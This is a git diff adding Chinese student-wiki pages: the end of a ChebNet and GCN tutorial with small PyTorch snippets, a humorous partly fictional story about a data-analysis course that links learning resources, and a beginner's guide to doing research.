+x=\mathbf{U}g\theta\mathbf{U}^\mathsf{T}x
+$
+
+如此，我们完成了在图神经网络上进行分析的基础。
+
+但是在实际问题下，这样的图是极难计算的，当我们的节点规模较大时，对 N^2^ 规模的图进行矩阵分解，并且进行多次矩阵乘法需要消耗极大的资源，这使得图网络很难运行。因此纵使图网络有着其特殊的性质，其热度一直不是很高。
+
+## ChebNet 及其思考
+
+ChebNet 的引入是当今神经网络大热门的开端，也是图卷积网络的基础。其思路为，使用切比雪夫多项式对卷积过程 K 阶拟合 ([参考](https://zhuanlan.zhihu.com/p/138420723))
+
+ChebNet 假设$g\theta$对$\Lambda$的滤波结果是原始特征值多项式函数，而网络的目的是抛弃原本通过矩阵相乘来对卷积结果进行求解，而通过参数学习来对结果进行表示，给出下式
+
+$$
+g\theta(\Lambda)=\sum_{k=0}^K \beta_kT_k(\hat{\Lambda})=\begin{pmatrix}
+\begin{matrix}\sum_{k=1}^K \beta_kT_k(\hat{\lambda_1})\end{matrix}\\
+&\cdots\\
+&&\begin{matrix} \sum_{k=1}^K \beta_kT_k(\hat{\lambda_n})\end{matrix}
+\end{pmatrix}
+$$
+
+其中有切比雪夫多项式在矩阵上的表示，具体数学背景可以详细查看
+
+$$
+T_0(L) = I\ T_1(L)=L\ T_{n+1}(L)=2LT_n(L) - T_{n-1}(L)
+$$
+
+有$\beta_k$为网络的待学习参数
+
+我们将原式
+$$
+g\theta\star
+x=\mathbf{U}g\theta\mathbf{U}^\mathsf{T}x
+$$
+
+表示为拟合形式
+$$
+\mathbf{U}
+\begin{matrix} \sum_{k=0}^K \beta_kT_k(\hat{\Lambda})
+\mathbf{U}^\mathsf{T}x
+\end{matrix}
+$$
+并对其中无关输入信号 $x$ 的部分进行改写
+
+$$
+\mathbf{U}\begin{matrix}\sum_{k=0}^K
+\beta_kT_k(\hat{\Lambda})
+\mathbf{U}^\mathsf{T}
+\end{matrix}
+$$
+
+$$
+=\begin{matrix} \sum_{k=0}^K
+\mathbf{U}\beta_k(\begin{matrix}\sum_{c=0}^k\alpha_{kc}\hat{\Lambda^k}
+\end{matrix}\mathbf{U}^\mathsf{T})
+\end{matrix}
+$$
+$$
+=\begin{matrix} \sum_{k=0}^K\beta_k(\begin{matrix}\sum_{c=0}^k\alpha_{kc}(\mathbf{U}\hat{\Lambda}
+\mathbf{U}^\mathsf{T})^k
+\end{matrix})
+\end{matrix}
+$$
+$$
+=\begin{matrix} \sum_{k=0}^K\beta_kT_k(\mathbf{U}\hat{\Lambda}
+\mathbf{U}^\mathsf{T})
+\end{matrix}
+$$
+$$
+=\begin{matrix} \sum_{k=0}^K\beta_kT_k(\hat{\mathbf{L}})
+\end{matrix}
+$$
+
+其中
+$$
+\hat{\mathbf{L}}=\frac{2}{\lambda_{max}}\mathbf{L}-\mathbf{I}_N
+$$
+
+于是我们获得了
+$$
+g\theta\star
+x
+=\mathbf{U}g\theta\mathbf{U}^\mathsf{T}x
+=\begin{matrix}
+\sum_{k=0}^K\beta_kT_k
+(\hat{\mathbf{L}})x
+\end{matrix}
+$$
+
+作为 ChebNet 的卷积结构
+
+其中值得注意的一点是，ChebNet 的 K 值限制了卷积核的多项式次数，但是这里的多项式次数描述了什么呢？其实就是卷积的“范围”，即单次卷积内最高可获得的 K 阶相邻节点信息。在 K=n 的时候，我们从理论上可以通过单次卷积，获取一张连通图上所有结点的信息，而这也是原方法难以计算的根本原因。
+
+到这里为止，我介绍了 2018 年 GCN 出现之前图网络的基本使用，并给出了对图网络的基本认知，于是，我们拥有了相对充分的工具去认识图网络近期的发展，以及更深层次的使用。
+
+## Graph Convolutional Networks
+
+前面谈论的都是基于图传播的方法以及理论基础，之后才是图神经网络（GNN）相关的内容，即我们需要将一个抽象的图的概念存入实际的数据结构，并考虑其在实际数据上的应用，好吧换句话来说就是开始抄论文。
+
+## 设计思考
+
+GCN 是典型的依靠消息传递进行迭代的网络，并通过对图卷积谱的线性逼近，其实就是只考虑相邻元素的线性组合，从而达到单层参数的最小化，使得 GCN 的深度构建成为可能。同时，一阶的拟合表示图卷积神经网络在单次卷积迭代中，仅考虑邻域的信息，这使得 GCN 在物理直觉上产生了与 CNN 的相似之处。我们可以发现，GCN 中的 Convolutional 是图的频谱卷积和图的邻域卷积的融合。即表现出了多种层面的滤波特性。也许正是如此，使得 GCN 有着如此好的表现。
+
+## 数学表示
+
+### 卷积层
+
+### 原典
+
+之前我们引入的是图传播特性的建模，而现在我们需要考虑一次实际的迭代如何在图上进行。
+
+我们通常考虑输入的参数与节点的隐含状态，作为网络的隐含层，即 ℎ，我们需要在每一轮迭代中对每个节点的状态进行更新，从而达到端对端训练的可能性。因此我们要确定隐含状态的更新模式，如下展示：
+
+$$
+\mathbf{h}_i^{l+1}=\sigma(\mathbf{W}_0^{(l)\mathsf{T}}\mathbf{h}_i^{(l)}+
+\begin{matrix}
+\sum_{j\in\mathcal{N}_i}c_{ij}\mathbf{W}_1^{(l)\mathsf{T}}\mathbf{h}_j^{l}+\mathbf{b}_0^{(l)}
+\end{matrix}
+)
+$$
+
+### 归一化单参数
+
+在实际场景中，减少了网络的参数，并对传播进行了重新的归一化
+
+$$
+\mathbf{H}^{(l+1)}=\sigma(\tilde{\mathbf{D}}^{-\frac{1}{2}}\tilde{\mathbf{A}}\tilde{\mathbf{D}}^{-\frac{1}{2}}\mathbf{H}^{(l)}\mathbf{W}^{(l)})
+$$
+
+其中
+$$
+\tilde{\mathbf{A}}=\mathbf{A}+\mathbf{I}_N,\tilde{D}_i
+=\begin{matrix}
+\sum_j\tilde{A}_{ij}
+\end{matrix}
+$$
+
+作为传播的预处理部分，由此得到了 GCN 的完整数学表示。
+
+### 损失函数
+
+文中针对半监督节点分类问题设计了一下目标函数，仅对有监督部分设计交叉熵损失，有：
+
+$$
+\mathcal{L}_{sup}
+=-\begin{matrix}
+\sum_{l\in\mathcal{y}_L}
+\end{matrix}
+\begin{matrix}
+\sum_{\mathcal{f}=1}^{d_{out}}\gamma_{l,f}\ln
+Z_{l,f}
+\end{matrix}
+$$
+
+其中 γ 为指示变量，表示蒸馏分类正确类的交叉熵损失。
+$$
+\mathbf{Z}=f(\mathbf{X},\mathbf{A})
+$$
+
+为预测结果。即我们希望正确分类下类可能性的最大化。
+
+## 代码实现
+
+归一化步骤
+
+```python
+def norm(A):
+    A = A + torch.eye(A.size(0))
+    d = torch.sum(A, dim=1)
+    D = torch.diag(d)
+    
+    return torch.pow(D,-0.5).mm(A).mm(torch.pow(D,-0.5))
+```
+
+GCN 本体
+
+```python
+class GCN(nn.Module):
+    def __init__(self, A, din, hidden, dout):
+        super(GCN, self).__init__()
+        self.A = norm(A)
+        self.gcn1 = nn.Linear(din, hidden, bias=True)
+        self.gcn2 = nn.Linear(hidden, dout, bias=True)
+    def forward(self, X):
+        X = F.relu(self.gcn1(self.A.mm(X)))
+        X = self.gcn2(self.A.mm(X))
+        return X
+```
+
+### 测试方法
+
+参考 dgl 的[使用教程](https://docs.dgl.ai/tutorials/basics/1_first.html)
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.6数据分析.md b/技术资源汇总(杭电支持版)/4.人工智能/4.6数据分析.md
new file mode 100644
index 0000000..fe34e36
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/4.6数据分析.md
@@ -0,0 +1,233 @@
+# 数据科学
+
+author:zzm
+
+## 本章内容会从一个小故事开始
+
+讲讲某个人在大一的悲惨经历来为大家串起来一个精简的数据科学工作包括了哪些步骤，同时给各位介绍一些优质的教程
+
+同时，这章内容将详细阐述[与人合作的生死疲劳](/1.杭电生存指南/1.5小组作业避雷指南)
+
+## 悲惨世界
+
+::: danger 若有雷同，纯属瞎编~~根据真实事件改编
+
+后人哀之而不鉴之，亦使后人而复哀后人也！
+
+请欣赏小故事的同时，根据自己的需求选择自己想学的教程
+
+:::
+
+### Day1
+
+你是一个可怜的大一学生，学校的短学期的第一天，你的心情非常好，因为要放寒假了，只要再坚持过这个短学期，你的快乐假期要来了！什么是短学期？不知道啊，也没听学长说过，好像是新研究出来的一个课程，去试试看吧。
+
+当你快乐的走进教室，老师告诉你：“你们看看 PPT 上的任务，自由选择啊！”
+
+你看到 PPT 上赫然印着
+::: tip 任务目标
+基础系统：
+
+1. 淘宝客户价值分析系统，实现爬取数据，数据处理，数据分析。
+2. 二手房数据分析预测系统，实现爬取数据，数据分析，绘制图表。
+3. 智能停车场运营分析系统，实现爬取数据，数据分析，绘制图表。
+4. 影视作品分析系统，实现爬取数据，数据分析，绘制图表。
+
+升级系统：
+
+1. 利用爬虫理论，实现 12306 抢票小助手系统。
+2. 利用数据分析方法，实现淘宝商品排行分析。
+3. 利用爬虫原理，爬 Google 搜索引擎分析。”
+要求实现三项以上的功能模块或三种以上的特征分析或提取。
+
+:::
+
+心中一惊，暗道不妙，这都什么玩意，怎么还有爬谷歌，淘宝和抢 12306 的票啊，这 tm 不是犯法的么！这我要能做出来我还上什么大一的学啊！🥺🥺🥺🥺
+
+老师紧接着补充“十个人一组啊！一周内做完，数据自己想办法，第三天就要检查你们的进度了！”
+
+这是你倒是暗暗松了一口气，好像十个人一起干也没有那么复杂！😎（这时正是愚昧之峰，错误的认为工作总量就是工作量除以十）迅速的组好队之后，你问了问大伙的进度，what？大伙都没有 python 基础，只有我有？幸好学了 hdu-wiki 和 datawhale 的[聪明方法学 python](https://github.com/datawhalechina/learn-python-the-smart-way)
+
+那就把教程分给大伙吧，我们选一个最简单的，二手房数据的分析系统好了！
+
+第一天选好题了，又是大下午的，摆了摆了，你开心的打开电脑，打开了 steam，开摆！
+
+day 1 End!🤣
+
+### Day 2
+
+昨天真是美滋滋的一天，玩了一晚上的你有点头昏脑涨，今天就开始干活好了，反正一周时间呢，比期末复习周可长太多了，就做这么个玩意我还能做不出来吗？
+
+虽然你没有学过爬虫，但是你很幸运的找到了 github 上一个现成的爬虫代码，虽然费了一翻力气，但是仍然躲过了某房价网站的爬虫，他成功爬下来了，我们就把他存在哪里呢？~~（爬虫待补充）
+
+先试试 excel 好了，毕竟这是大家最耳熟能详的存表格的方法，但是你貌似没有深入了解过他，打开了 datawhale 的[free-excel](https://github.com/datawhalechina/free-excel)，你才惊讶的发现，wow，原来他有这么多牛逼的功能啊！它除了可以将房价统计，找到它的平均价格，算出他的最高价格之类以外，竟然也可以把他可视化！甚至它还可以对房价进行多元分析！根据房屋数量面积地段等等因素帮你预测房价，甚至可以自动帮你检索和去除重复数据，实在是太好用啦！
+
+当然，这只是一个理想状态，残酷的现实很快给你当头一棒！当你试着多爬点不同城市数据的时候，他崩了！这么脆弱的吗？！干点活就喊累的吗？！😨
+
+当然你想起了有一个备用方案，好像你可以用数据库去存储他！
+
+之前好像看到有一个教程叫做[wonderful-sql](https://github.com/datawhalechina/wonderful-sql?from=from_parent_mindnote)
+
+他提到“随着社会的快速发展，各类企业数字化转型迫在眉睫，SQL 应用能力日趋重要。在诸多领域中 SQL 应用广泛，数据分析、开发、测试、维护、产品经理等都有可能会用到 SQL，而在学校里系统性讲授 SQL 的课程较少，但是面试及日常工作中却经常会涉及到 SQL。”
+
+确实学校没有教过，但是幸好你有教程，折腾了一翻之后，你发现你对数据库有了更深的理解，他帮助了我们在容纳大量的多种不同的数据形式的时候不用专门去考虑怎么设计一个数据结构而是规划了一定的存储方法后全部塞给他，完全不用考虑具体的物理性的以及性能问题存储模式，并且他很多高级的功能可以帮助你便捷的把数据组织成一般情况下难以到达的形式，他的底层设计被严格的包装起来让你在进行数据增删改查的时候都又快又好。
+
+并且它可以非常方便的存一些 excel 不好存的所谓的非结构化的数据，比如说图像等等，并且他不会动不动就喊累！处理几十万条也是一下子！
+
+当然同时你也了解到，你所用的是关系型数据库，是老东西了，目前还有很多较为前沿的非关系型数据库，例如 MongoDB(这玩意什么都能存，比如说地图)，Neo4j（像一张蜘蛛网一样的结构，图）等等，他们不用固定的表来存储，可以用图存或者键值对进行存储，听起来好像非常的高级，不过你暂时用不到，数据搞都搞下来了，量也够了，是时候看看队友做到哪了？说不定后面你都不用做了，已经做的够多够累的了！
+
+什么？！刚开始学 python?!woc! 完蛋，你逐渐来到了绝望之谷，唉！明天继续做吧！看来休息不了了。
+day 2 End 😔!
+
+### Day 3
+
+God!No! 昨天已经够累的了，今天老师还要讲课，还要早起！你期待着老师可以降低要求，可是当老师托起长音，讲起了他知道了学生的累，所以今天决定开始讲课了！（现在讲有毛用啊，你明天就要验收我们的进度了！）
+
+而他却慢悠悠的开始讲 python 的历史，把这点内容讲了足足两节课，你终于绷不住了，本来时间就不够，他竟然又浪费了你足足一早上的时间！这也太该死了！🤬
+
+你回到了寝室，准备今天争取数据分析完就直接交上去好了！
+
+可是你发现了一个让你震惊的噩耗！你找到的数据，是混乱的！😱
+
+这个野鸡房价网站每个城市的排版不一样，你爬虫爬取的完全是按照顺序标的，也就是说你爬取的所有房价信息处于混沌状态！完全就相当于给每个房子爬了一段句子的描述！
+
+没有办法了，看来今天有的折腾了，你找到了一个叫 pandas（熊猫？）的东西，找到了这个教程[Joyful-Pandas](https://github.com/datawhalechina/joyful-pandas)，开始了一天的学习！
+
+你了解到 pandas 是一个开源的 Python 数据处理库，提供了高性能、易用、灵活和丰富的数据结构，可以帮助用户轻松地完成数据处理、清洗、分析和建模等任务。你使用了 DataFrame 来装载二维表格对象。
+
+用一些关键词来提取数据中隐藏的信息，例如提取“平米”前面的数字放到‘area'列，提取房价到'price’列，提取位置到'locate'里面，当然你也遇到了可怕的 bug，提取所有“室”和“厅”前面的数字，他总是告诉你有 bug，全部输出之后才发现你提取到了“地下室”结果他没法识别到数字所以炸了！
+
+将数据勉强弄得有序之后，你提取了平均数填充到缺失数据的房屋里面，将一些处理不了的删掉。
+
+当然，你也额外了解到 pandas 这只可爱的小熊猫还有非常多强大的功能，例如数据可视化，例如分类数据，甚至可以让房屋按照时序排列，但是你实在不想动了！
+
+不论怎么说，你勉强有了一份看得过去的数据，你看了看表，已经晚上十一点半了，今天实在是身心俱疲！
+
+问问队友吧，什么，他们怎么还是在 python 语法？！你就像进了米奇不妙屋~队友在说
+
+~~“嘿~你呀瞅什么呢~是我！你爹~”~~
+
+此时你像一头挨了锤的老驴，曾经的你有好多奢望，你想要 GPA，想要老师的认同，甚至想要摸一摸水里忽明忽暗的🐠，可是一切都随着你的 hardworking 变成了泡影。
+
+可是步步逼近的截止日期不允许你有太多的 emo 时间，说好的七天时间，最后一天就剩下展示了！也就是说实际上只有 6 天的开发时间，也就是说你必须得挑起大梁了
+
+> 世界上只有一种真正的英雄主义，那就是看清生活的真相之后，依然热爱生活
+
+好的，你真不愧是一个真正的英雄！
+
+day 3 end!👿 👹 👺 🤡
+
+### Day 4
+
+老师在验收的时候认为你什么工作也没做，他认为一份数据实在是太单薄了，特别是被你疯狂结构优化后的数据已经没几个特征了，让你去做点看得到的东西，不然就要让你不及格了，你的心里很难过，你想到也许你需要一些更好看的东西。数据可视化你在昨天的 pandas 看到过，可是你并没有详细了解，你觉得 pandas 已经在昨天把你狠狠的暴捶一顿了，并且老师想要更好看的图。
+
+于是你考虑 pandas 配合 Matplotlib 画一些简单的图（Matplotlib 的缺点是它的绘图语法比较繁琐，需要编写较多的代码才能得到漂亮的图形。）
+
+加上 Plotly 绘制一些复杂的图，让你的图有着更漂亮的交互效果，然后加上看起来很牛逼的英语描述
+
+你找到了下面的教程：
+
+[matplotlib 奇遇记文字教程](https://github.com/datawhalechina/fantastic-matplotlib)
+
+[极好的 Plotly 文字教程：](https://github.com/datawhalechina/wow-plotly)
+[视频教程](https://www.bilibili.com/video/BV1Df4y1A7aR)
+
+🤗
+你绘制了柱状图，散点图，箱线图，甚至花了点钱找了外包去做了一个前端的热力图，虽然你爬的城市和数据不够覆盖全国，但是可以数据不够前端来凑啊！把城市的热量铺洒在全国。
+
+这时你认为你的任务已经完成了！于是早早就心满意足的早早睡着了🍻 🥂。最近真的太累了，天天一两点睡，早上惊醒，做梦都是在爬数据分析数据！太可怕了！
+
+在梦里，你好像看到了美好的假期时光。 😪
+
+day 4 end!~🤤
+
+### Day 5
+
+你睡得很死，因为你已经你做完了所有的东西，第二天只要美美的验收结束，买了机票就可以回家了，可是老师仍然制止了你，跟你说如果你今晚走了就给你挂科，因为你没有用机器学习来分析他！
+
+可是机票今晚就要起飞了啊！😰你已经要气疯了，想和老师据理力争，但是又害怕这么一个课被打上不及格的分数，这实在是太难受了！
+
+终归你还是在老师的逼迫下，改签了机票，好吧，多少得加点功能了！呜呜呜~🤢 🤮
+
+可是你并不完全会机器学习的算法，可怜的大一本科生的你没有学信息论也没有学最优化理论，很多算法你完全不懂其理论知识！听说西瓜书很好，可是你在图书馆借到了西瓜书之后根本看不懂！
+
+于是你找到了吃瓜教程，也就是所谓市面上的南瓜书的[文字教程](https://github.com/datawhalechina/pumpkin-book)
+
+你也找到了西瓜书的代码实践[文字教程](https://github.com/datawhalechina/machine-learning-toy-code)
+
+你对着他啃了半天，觉得很多东西你都能看懂了，你脑子里已经有了很多思路，你想按使用高级的机器学习的算法！
+
+但是！时间还是太紧张了！你没有办法从头开始实现了！
+
+你想尝试[pytorch 文字教程](https://github.com/datawhalechina/thorough-pytorch)，但是时间也不够让你去重整数据去训练了。你随便塞在线性层里的数据梯度直接爆炸，你这时候还不知道归一化的重要性，紧张之下把几万几十万的房价往里面塞，结果结果烂成💩了，并且你那薄如蝉翼的基础知识并不够让你去解决这些个 bug，只能疯狂的瞎调参数，可是结果往往不如人意~
+
+时间来到了晚上八点，明天就要最后验收了，走投无路的你把目光看向了远在几十千米外已经入职了的大哥，晚上跟他打电话哭诉你最近的遭遇，你实在搞不懂，为什么十二生肖大伙都属虎，就你属驴。
+
+大哥嘎嘎猛，连夜打车过来，你在因疫情封校的最后两个小时跑出了学校，和大哥一起租了个酒店，通宵奋战，他采取了更多更为优雅的特征工程和模型调参的方式，让模型优雅的收敛到了一定程度，再用春秋笔法进行汇总，在半夜两点半，终于将内容搞定了😭
+
+终于你可以睡个好觉了~
+
+day 5 end!😍 🥰 😘
+
+### Day 6
+
+验收日，老师端坐在底下，宛如一尊大佛，提出了一系列无关紧要的问题，比如问“我们能不能拿这个程序给老年人查资料？？？”
+
+等等问题和技术一点关系都没有！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！
+
+😣 😖 😫 😩
+
+极度悲愤之下，当天晚上，你火速提着行李，离开了这伤心之地~~~~~~~~~~~~~~~~~
+
+The End~~~~~~~~~~
+
+## 事后总结
+
+你在那个暑假详细了解和学习一下数据科学竞赛，发现他的含金量在职场领域有时候相当高，并且对提升自身的实力也有相当大的帮助！
+
+[数据竞赛 Baseline & Topline 分享](https://github.com/datawhalechina/competition-baseline)
+
+你还发现了之前从来没有注意到的 kaggle 平台以及一些很棒的综合实践项目！
+
+例如[根据贷款申请人的数据信息预测其是否有违约的可能](https://github.com/datawhalechina/team-learning-data-mining/tree/master/FinancialRiskControl)
+
+[根据汽车类型等信息预测二手汽车的交易价格](https://github.com/datawhalechina/team-learning-data-mining/tree/master/SecondHandCarPriceForecast)
+
+例如：[使用公开的 arXiv 论文完成对应的数据分析操作](https://github.com/datawhalechina/team-learning-data-mining/tree/master/AcademicTrends)
+
+想到如果你早做准备，没有荒废大一的时光，也许你不但能圆满的通过这次课程，也可以开辟更为广阔的新世界了吧~
+
+同时，你也初窥了数学＋机器学习世界的瑰丽传奇，你想更为深入的对其有一个了解，并且做出点东西，希望对你日后的学习生活有个见证~~
+
+少年将去开启新的传奇~~~~~
+
+::: danger 再次警告，本章内容有很多瞎编的内容，不要全信
+
+比如说一天学完 pandas，一天学完 sql 之类的都是很不现实的！希望大家注意！
+
+当然你也可以在需要用的时候再研究，也来得及，就是很累
+
+不要打击到大家的自信心！
+:::
+
+## 补充内容：下个定义
+
+数据分析是独立于开发和算法岗的另一个方向，它主要是通过**应用**机器学习和深度学习的**已有算法**来分析现实问题的一个方向
+
+我们常说：数据是客观的，但是解读数据的人是主观的。
+
+数据这门科学就像中西医混合的一门医学，既要有西医的理论、分析模型以及实验，又需要有中医的望闻问切这些个人经验。
+
+> 这世界缺的真不是算法和技术，而是能用算法、技术解决实际问题的人
+
+## 什么是数据科学
+
+数据科学是当今计算机和互联网领域最热门的话题之一。直到今天，人们已经从应用程序和系统中收集了相当大量的数据，现在是分析它们的时候了。从数据中产生建议并创建对未来的预测。[在这个网站中](https://www.quora.com/Data-Science/What-is-data-science)，您可以找到对于数据科学的更为精确的定义。
+
+同时，我向各位推荐一个非常有趣的科普视频想你讲解数据分析师到底在做什么：[怎么会有这么性感的职业吶？](https://www.bilibili.com/video/BV1ZW4y1x7UU)
+
+<Bilibili bvid='BV1ZW4y1x7UU'/>
+
+## Datawhale 的生态体系
+
+在与 Datawhale 开源委员会的负责人文睿进行一翻畅谈之后。zzm 受震惊于其理念以及已经构建的较为完善的体系架构，毅然决然的删除了本章和其广泛的体系比起来相形见绌的内容。为了更大伙更好的阅读以及学习体验，我们决定在本章内容引入了[datawhale 人工智能培养方案数据分析体系](https://datawhale.feishu.cn/docs/doccn0AOicI3LJ8RwhY0cuDPSOc#)，希望各位站在巨人的肩膀上，争取更进一步的去完善它。
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.7如何做研究.md b/技术资源汇总(杭电支持版)/4.人工智能/4.7如何做研究.md
new file mode 100644
index 0000000..fd10e0a
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/4.7如何做研究.md
@@ -0,0 +1,152 @@
+# 如何做研究
+
+## 0. 讲在前面
+
+Author：任浩帆
+
+Email: yqykrhf@163.com
+术语介绍的补充：Spy
+
+仅供参考，如有不足，不吝赐教。
+
+## 术语的介绍
+
+**Benchmark：**评测的基准。通常会是一些公开的数据集。
+
+**Baseline:** 基准，一般指的是一个现有的工作。
+
+**SOTA **(state-of-art): 截止目前，指标最好。
+
+举个例子：
+
+我们选取 XXX-Net 作为我们的 Baseline，在加入我们设计的注意力机制的模块，在 KITTI 这个 Benchmark 上性能达到了 SOTA。
+
+**Backbone:**
+
+这个单词原意指的是人的脊梁骨，后来引申为支柱，核心的意思。
+
+在神经网络中，尤其是 CV 领域，一般先对图像进行特征提取（常见的有 vggnet，resnet，谷歌的 inception），这一部分是整个 CV 任务的根基，因为后续的下游任务都是基于提取出来的图像特征去做文章（比如分类，生成等等）。
+
+所以将这一部分网络结构称为 backbone 十分形象，仿佛是一个人站起来的支柱。
+
+**Solid**
+
+一般是描述这个工作非常扎实。
+
+这个工作很 solid。每一步都 make sense（合理）。没有特意为了刷 benchmark 上的指标，用一些 fancy trick（奇技淫巧）。
+
+**Robust**
+
+鲁棒性，是描述一个系统受到外界的干扰情况下，仍然能保持较好的性能。
+
+举个例子：
+
+我们的系统的图片加入大量的噪声，已经旋转平移缩放以后，仍然能正确的分类，这表明了我们的工作具有一定的鲁棒性。
+
+## 坐而论道
+
+### 2.1 研究是什么
+
+从实际的几个例子讲起：
+
+1. 某学生，被老师分配了一个课题的名字：《语义分割》。之后开始看相关的论文，了解到有实时语义分割，视频语义分割，跨模态语义分割等等子任务或者交叉任务，然后跟导师开始汇报自己的一些感想，最后在老师的建议之下拟定了具体的课题，开始思考解决方案。
+2. 某学生，被老师分配了一个课题的名字：《存在遮挡情况下的单目人体重建》 。之后这个学生对这个问题提出了有效的解决方案。
+3. 某同学在 waymo（Google 自动驾驶子公司）实习，发现没有用神经网络来直接处理点云的工作。于是决定做一个神经网络能够直接输入点云，经过几番尝试以后，提出了《第一个能直接处理点云的网络》。
+4. 某高校的本科生在 lcw 下的指导下做科研的流程：老师直接给给一个 basic idea，然后让本科做实验，在这个工程中非常有针对性的指导。
+
+例 1 是在给定一个大题目的基础下，去阅读论文寻找小题目。
+
+例 2 是在给定一个具体细致的题目基础下，直接去想如何解决。
+
+例 3 是在实际工作的情况下发现了一个非常有意义的问题，然后思考如何解决。
+
+例 4 是直接给定一个 idea，去实现，研究者所需要完成的几乎是工程实践。
+
+理想情况下，研究流程应该包含：
+
+Step 1. 提出问题
+
+Step 2. 提出解决方案
+
+Step 3. 验证解决方案的有效性。
+
+有些问题是一直存在，但没有彻底解决的。这一类的问题通常，就不存在 Step 1。从事这一课题的研究者经常会在 2，3 之间来回反复。
+
+### 2.2 如何做研究
+
+从上一小节的几个例子当中，其实不同的人做研究所需要完成的工作是完全不一样的。很多时候只需要做 step 3 即可，从功利的角度来讲这是性价比最高的。
+
+如果我们是一个合格的博士或者我们致力于如此，那么首先的第一步要找到一个好的问题，这是一个非常重要的开始，**一个好的问题往往意味着研究已经成功了一半。  **什么是一个好的问题？它可能会有以下几个特点：
+
+1. 理论上能实现某种意义上的统一，从而使得问题的描述变得非常优雅。比如 [DepthAwareCNN](https://arxiv.org/abs/1803.06791)
+2. 对于之后的工作非常具有启发的作用，甚至达到某种意义的纠偏作用。比如 [OccuSeg](https://arxiv.org/abs/2003.06537)
+3. 本身足够 solid，可以作为 meta algorithm。比如 Mask-RCNN
+4. 是一个大家没有引起足够重视，却非常棘手且非常迫切的问题。比如相机快速运动下的重建，[MBA-VO](https://openaccess.thecvf.com/content/ICCV2021/papers/Liu_MBA-VO_Motion_Blur_Aware_Visual_Odometry_ICCV_2021_paper.pdf)
+
+#### 2.2.1 如何去找一个好的问题
+
+如何确保自己选的问题是一个好的问题？这需要和指导老师及时的反馈。如果指导老师不给力，那么一些方法仅供参考。
+
+1. 自己和工业界的一些人去交流与沟通，看看实际落地的痛点是什么？面对这些痛点，已有的研究方法能否解决，是否有一些现有的 benchmark 或者容易制作的 benchmark 来做为评价标准。
+2. 做加法。举个例子：图片可以做语义分割。那么图片 + 深度图如何更好的做语义分割。图片 + 文字描述的做语义分割。现在的语义分割的标注都是 0，1，2，3 这些数字，然后每一个数字对应一个实际的类别，这个对应表是认为规定的。如果我把 0，1 的对应关系换掉。重新训练以后就，网络的性能是否会影响？
+3. 做减法。对于点云的语义分割的标注，通过是非常费时费力的。那么对于点云来说，少量的标注是否是可行的？比如只标注百分之 10 的点。
+
+以上是一些技巧，把输入调整一下，约束去掉一些，就会有很多新的问题。这个过程通常被叫做**“调研”**
+
+这个过程在是一个相对比较痛苦的过程，因为调研的过程中你会发现很多问题，想到很多所谓创新的解决方法，但是实际上你会发现你的解决方法已经有很多人做过了。这一阶段调整心态很重要，切忌急于求成。
+
+#### 2.2.2 如果提出解决方法
+
+这个阶段需要百折不挠，小步快跑了。一下是有一些可能有帮助的技巧：
+
+1. 多读本领域的论文。（说起来非常玄妙，会在如何读论文部分详细解释）
+2. 读一些基础，跨领域的论文。把其他领域的方法搬过来直接用。直接用通常情况下会存在一些问题，那么需要针对性的做一些改进。
+3. 从历史出发。将你面对的问题抽象成数学问题，这个数学问题可能过去很多人都遇到过，去看一看他们是如何解决的，从中获取一些灵感。
+
+#### 2.2.3 如果做实验
+
+做实验的目的是为了快速的验证想法的正确性。以下两个东西最好要有
+
+1. 版本控制
+2. 日志系统
+
+剩下就是一些工程习惯的问题，比如出现错误用 `std::cerr` 而不是 `std::cout`。这是一个需要实践积累的部分，与做研究有些脱节，之后有时间会在其他小节做一些补充。
+
+## 快速出成果的捷径与方法
+
+如何快速的出成果，不管别人如何帮你，前提是你自己要足够的强。不能存在 **“靠别人” **的想法。
+
+对于一个博士生来讲，出成果保毕业，那么可能要对学术的进展要敏感，比如 Nerf 八月份刚出来的时候，如果你非常敏锐的意识到这个工作的基础性和重要性。那么你稍微思考一两个月，总是能有一些创新的 ieda 产生的。所以这个**timing 和 senstive**就非常重要，当然导师是不是审稿人可能更重要。
+
+对于一个本科生来讲，当然是跟着指导老师的脚步去做。但是如果指导老师只是把你当成一个工具人，一直打杂货的话。你想发论文，一种所谓的捷径是 A+B。就是把一个方法直接拿过来用在另一个地方，大概率这样会有一些问题，那么你就可以针对性的改进，如何针对性的改进？不好的方式是 A+B 套娃，好一些的方式是分析这个不好的原因在哪里，现有的方法多大程度可以帮助解决这个问题，或者现有的方法解决不了这个问题，但是其中的一个模块是否是可以参考的。
+
+### 3.2 学习别人是如何改进网络的（Beta）
+
+自 UNet 提出后就有许多的魔改版本，如 UNet++, U2Net, 而这些 UNet 的性能也十分优异。
+
+可以参考 UNet 的发展历程，去学习如何在前人的工作上加以改进和提升。
+
+注：通过历史的演变来学习是非常有必要的，但是你需要注意一点的是，深度学习很多时候会出现一些情况：
+
+1. 你认为你提出的改进方法是有效的，但是实际是不 OK 的
+2. 你认为你提出的方法可能有效，实际上也确实有效。然而你不能以令人信服的方式说明这为什么有效。
+
+举个例子 ResNet 为什么有效。“因为网络越深，可以拟合的函数空间就会复杂，但是越深网络效果反而变差。那么从一个角度来思考：网络至少某一层 i 开始到最后一层 k，如果学习到的函数是 f(x)=x 的恒等映射，那么网络变深以后至少输出是和 i-1 层的是一模一样的，从而网络变深可能不一定会变好，但是至少不会变差才对。”看起来很有道理，然后 CVPR2021 分享会，ResNet 的作者之一，xiangyu zhang 说“当时也完全不能使人很信服的解释为什么 ResNet 就一定效果好，感觉更像是基于一些灵感，得到了一个很棒的东西，更像是一个工程化的问题，而不是一个研究。但我们可以先告诉别人这个是非常有效的，至于为什么有效，可能需要其他人来解决。”
+
+再举一个例子 BN(Batch normalization) 为什么有效，你去看 BN 的原论文和之后关于 BN 为什么有效的研究，会发现原论文认为有效的原因是不太能让人信服的。但这不妨碍 BN 有效，而且非常快的推广起来。
+
+其实这件事可以类比于中医，做研究就好比要提出一套理论，但是我不知怎得忽然发现有一个方子经过测试非常有效，但是我确实不能给出一个很好的理论解释说明这个房子为什么有效。但是我尽快把这个方子告诉大家，这同样是非常有意义的。
+
